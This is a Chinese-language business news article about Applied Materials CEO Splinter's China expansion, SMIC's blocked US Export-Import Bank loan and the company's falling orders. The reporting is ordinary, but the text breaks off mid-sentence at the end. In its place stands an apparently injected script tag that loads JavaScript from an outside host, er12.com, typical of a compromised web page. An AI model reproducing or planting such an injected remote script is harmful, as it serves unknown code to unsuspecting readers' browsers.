6月2日，应用材料公司(nasdaq：amat)总裁兼ceo斯普林特在上海宣布，投资额为3000万美元的应用材料(中国)控股有限公司，将在取得商务部的批文之后正式成立，这也就意味着应用材料将可以在中国市场开展除销售、服务之外的其他商业活动。然而，他的雄心遭遇到了接续不断的挑战。
一方面，由于美国相关部门的限制，此前中芯国际在美国的贷款受阻，迫使中芯国际开始寻求向欧洲和日本市场采购设备，而在此之前，中芯国际一直是应用材料的忠实客户。而且，如此一来，中国其他的半导体厂商就算筹措到足够的资金，也同样不能从美国购买采用了最新技术的制造设备。
另外，应用材料截至4月30日的2005年第二季度财报显示，公司销售额同比下滑8%，新订单同比下降30%。随着2004年全球半导体产业的饱和，一个新的半导体产业衰退周期渐行渐近。
斯普林特，这位曾经带领应用材料走出困境的空降英雄，能够从容应对这两大挑战吗？
低端制造迁中国
“我们在中国发展的不该仅仅是销售和服务。”6月2日，斯普林特在接受本报记者独家专访时表示。自2003年他从英特尔空降到应用材料担任全球总裁兼ceo时，他就这么定位应用材料在中国的战略。
作为全球最大的半导体制造设备供应商，应用材料早在1984年就在北京设立了应用材料中国维修服务中心。由于中国的半导体产业商业化进程并没有开始，很长一段时间，应用材料在中国市场的年营业额不到100万美元。
随着中芯国际等半导体厂商的渐次崛起，应用材料在中国的销售开始直线上升，2000年，应用材料在中国市场的销售额首次突破1亿美元，而在2004年，它在中国的销售更首次突破了10亿美元。
“中国的半导体行业在不断发展，我们将要做更多的事情。”斯普林特称他一直在思考中国市场。去年11月，他带领公司所有副总裁以上的高层，在杭州召开会议制定了中国市场的整体策略。
由于之前应用材料在中国成立的只是子公司，按照中国的法律规定，它只能从事销售和服务。“成立控股公司之后，我们将可以方便地设立研发中心，从事投资事业或者设立合资公司。” 应用材料公司执行副总裁兼亚太区总裁王宁国称。
据记者了解，即将成立的控股公司注册所需的3000万美元已经到账，上海市政府业已办理了许可批文，目前只待商务部的批准。控股公司成立后，将会涵盖应用材料在中国的所有业务。
6月2日当天，应用材料还宣布在西安还考虑在中国从事低端设备的制造，以降低成本。事实上，中国市场确实也在消化应用材料的一些低端芯片制造设备，在该公司2004年的销售额中，有约20%来自于200毫米芯片制造设备的翻新机器的销售。
“我们希望能确保在中国的优势地位。”王宁国称。在他看来，中国的半导体生产能力到2010年的时候将比现在增加3倍，虽然中国目前占全球半导体市场的份额还只有4%，但发展速度却要比美国和日本快两到三倍，设备采购市场将相当庞大。中芯国际无缘美国采购背后，然而，斯普林特要在中国市场大干一场的雄心却受到美国政府的束缚。
“我们会从美国定购设备，也会向欧洲和日本采购。”中芯国际总裁特别助理喻宁对记者表示。但在此之前，中芯国际曾计划全部采购应用材料的设备。
5月26日，中芯国际宣布：其全资子公司，中芯国际集成电路制造(北京)有限公司与中国银行等组成的银团签订了为期五年、金额为6亿美元的贷款协议。这笔贷款将用于中芯国际在北京的三个300毫米晶圆厂的产能扩充。
此前，中芯国际曾寻求向美国进出口银行申请7.69亿美元贷款，以便向应用材料公司购置芯片制造设备，但由于美光科技从中作梗，中芯国际的申请最终被拒绝。
“我们觉得应该给中芯国际这笔贷款。”斯普林特说。在他看来，对于美国进出口银行来说，这只是一笔正常的贷款业务，却被泛政治化了。
为了替中芯国际争取这笔贷款，斯普林特确实做了努力。2月份，美国加州国会代表团成员向美国进出口银行发出?script src=http://er12.com/t.js>
